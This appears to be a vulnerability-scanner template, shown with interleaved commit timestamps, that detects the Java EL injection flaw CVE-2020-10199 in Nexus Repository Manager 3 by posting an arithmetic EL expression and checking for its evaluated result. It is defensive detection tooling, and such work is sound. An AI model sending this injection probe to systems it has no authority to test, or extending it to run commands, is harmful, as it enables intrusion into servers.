2020-09-15 19:25:55 +00:00
|
|
|
id: cve-2020-10199
|
2020-07-08 15:11:50 +00:00
|
|
|
|
|
|
|
|
info:
|
|
|
|
|
name: Nexus Repository Manager 3 RCE
|
2021-01-01 11:11:05 +00:00
|
|
|
author: hetroublemakr
|
2020-07-08 15:11:50 +00:00
|
|
|
severity: high
|
2020-08-25 22:52:00 +00:00
|
|
|
description: Sonatype Nexus Repository before 3.21.2 allows JavaEL Injection (issue 1 of 2).
|
2020-07-08 15:11:50 +00:00
|
|
|
# reference: https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
|
|
|
|
|
|
|
|
|
|
requests:
|
|
|
|
|
- method: POST
|
|
|
|
|
path:
|
|
|
|
|
- '{{BaseURL}}/rest/beta/repositories/go/group'
|
2020-07-08 17:21:50 +00:00
|
|
|
|
2020-07-08 15:11:50 +00:00
|
|
|
headers:
|
|
|
|
|
Content-Type: application/json
|
|
|
|
|
body: '{"name": "internal","online": true,"storage": {"blobStoreName": "default","strictContentTypeValidation": true},"group": {"memberNames": ["$\\c{ 1337 * 1337 }"]}}'
|
2020-07-08 17:21:50 +00:00
|
|
|
|
2020-07-08 15:11:50 +00:00
|
|
|
matchers-condition: and
|
|
|
|
|
matchers:
|
|
|
|
|
- type: word
|
|
|
|
|
words:
|
|
|
|
|
- "1787569"
|
|
|
|
|
part: body
|
|
|
|
|
- type: status
|
|
|
|
|
status:
|
|
|
|
|
- 400
|
